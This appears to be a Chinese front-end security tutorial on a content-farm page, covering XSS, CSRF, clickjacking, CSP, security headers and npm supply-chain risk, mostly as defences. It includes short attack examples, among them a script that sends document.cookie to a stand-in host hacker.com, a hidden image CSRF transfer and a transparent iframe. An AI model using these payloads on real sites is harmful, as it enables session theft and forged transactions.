当前位置: 首页 > wzjs >正文

深圳人大代表联络站网站建设seo查询系统

深圳人大代表联络站网站建设,seo查询系统,钓鱼网站怎样做,广告设计公司组织结构图一、跨站脚本攻击(XSS) 攻击原理 定义:攻击者向页面注入恶意脚本(如 JavaScript),在用户浏览时执行,窃取 Cookie、篡改页面等。分类: 存储型 XSS:恶意脚本存储到服务器…

一、跨站脚本攻击(XSS)

攻击原理
  • 定义:攻击者向页面注入恶意脚本(如 JavaScript),在用户浏览时执行,窃取 Cookie、篡改页面等。
  • 分类
    • 存储型 XSS:恶意脚本存储到服务器(如评论区)。
    • 反射型 XSS:恶意脚本通过 URL 参数反射到页面。
    • DOM 型 XSS:前端直接操作 DOM 导致漏洞。
图文案例

攻击代码

用户提交评论内容:
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>
防护措施
  1. 输入过滤:对用户输入进行转义(如将 < 转义为 &lt;)。
  2. 输出编码
    // 使用框架内置的编码函数
    const safeOutput = _.escape(userInput); // Lodash
    
  3. 设置 HTTP 头
    Content-Security-Policy: script-src 'self' 禁止加载外部脚本
    

二、跨站请求伪造(CSRF)

攻击原理
  • 定义:诱导用户访问恶意页面,利用已登录状态伪造用户身份发起请求(如转账)。
  • 核心条件:用户已登录目标网站且未登出。

攻击代码

<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
防护措施
  1. CSRF Token
    <form action="/transfer"><input type="hidden" name="csrf_token" value="{{csrfToken}}">
    </form>
    
  2. SameSite Cookie
    Set-Cookie: sessionId=abc123; SameSite=Strict
    
  3. 验证 Referer/Origin:检查请求来源是否合法。

三、点击劫持(Clickjacking)

攻击原理
  • 定义:攻击者通过透明 iframe 覆盖在正常页面上,诱导用户点击隐藏按钮(如点赞、关注)。

攻击代码

<style>iframe {opacity: 0;position: absolute;top: 0;left: 0;}
</style>
<iframe src="https://social.com/like?post=123"></iframe>
防护措施
  1. 设置 X-Frame-Options
    X-Frame-Options: DENY  // 禁止页面被嵌入 iframe
    
  2. 使用 CSP
    Content-Security-Policy: frame-ancestors 'none'
    

四、浏览器安全策略

1. 同源策略(Same-Origin Policy)
  • 规则:禁止页面读取不同源(协议+域名+端口)的资源。
  • 绕过风险:错误配置 CORS 导致数据泄露。
2. 内容安全策略(CSP)
  • 配置示例
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
    
3. 安全头配置
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

五、第三方依赖风险

案例:恶意 npm 包
  • 事件event-stream 包被注入恶意代码,窃取比特币钱包。
  • 防护
    1. 使用 npm audit 检查依赖漏洞。
    2. 锁定版本号(package-lock.json)。
    3. 使用 Snyk、Dependabot 扫描依赖。

六、安全防护工具

  1. 浏览器 DevTools
    • 检查 Network 请求中的敏感信息泄露。
    • 使用 Security 面板查看 HTTPS 和 CSP 状态。
  2. 自动化扫描
    • OWASP ZAP:检测 XSS、SQL 注入等漏洞。
    • Lighthouse:审计安全头配置。

总结:前端安全防护清单

风险类型防护手段
XSS输入过滤、输出编码、CSP、避免 innerHTML
CSRFCSRF Token、SameSite Cookie、验证 Referer
点击劫持X-Frame-Options、CSP 的 frame-ancestors
数据泄露禁用 document.cookie、敏感数据不存 localStorage
第三方依赖定期更新依赖、使用 npm audit
HTTPS全站 HTTPS、HSTS 头、禁用混合内容(HTTP 资源)
http://www.dtcms.com/wzjs/265708.html

相关文章:

  • 帮做软件测试的网站宁波seo网络推广公司排名
  • 阿克苏市建设银行网站emlog友情链接代码
  • 北京公司网站制作要多少钱2024年重启核酸
  • 中山品牌网站建设推广市场营销分析案例
  • xampp做的网站能搜索吗b2b推广网站
  • 做的好的音乐网站的特点上海百度seo公司
  • 微商城客服seo工具包
  • 做js题目的网站优化百度seo
  • 公司网站推广怎么做中国搜索
  • 做网站的荣誉证书自有品牌如何推广
  • wordpress汉字验证码插件小时seo加盟
  • wordpress主题 html5模板seo分析与优化实训心得
  • 24淘宝网站建设宁波网站seo公司
  • 莱山网站建设百度搜索推广操作简要流程
  • 最个人网站快速排名优化推广价格
  • 网站代码跑偏了怎么做黄石seo
  • 微信小店可以做分类网站国外推广都是怎么推广
  • node.js做企业网站沈阳企业网站seo公司
  • 网页设计与网站建设在线测试答案seo搜索优化
  • 移动互联网网站开发技术互动营销经典案例
  • 像聚美网站建设费用chrome下载
  • 南通医院网站建设网站模板价格
  • 招聘网站可以做两份简历吗如何做网站推广优化
  • 企业网站空间选择自己的网站怎么样推广优化
  • 网站源代码编辑百度推广登录网址
  • 隆尧企业做网站网络推广外包代理
  • 网站建设应用技术seo小白入门教学
  • 外贸网站建设源码免费推广网站
  • 自己做民宿在什么网站上投放新闻20字摘抄大全
  • 提示危险网站企业seo关键字优化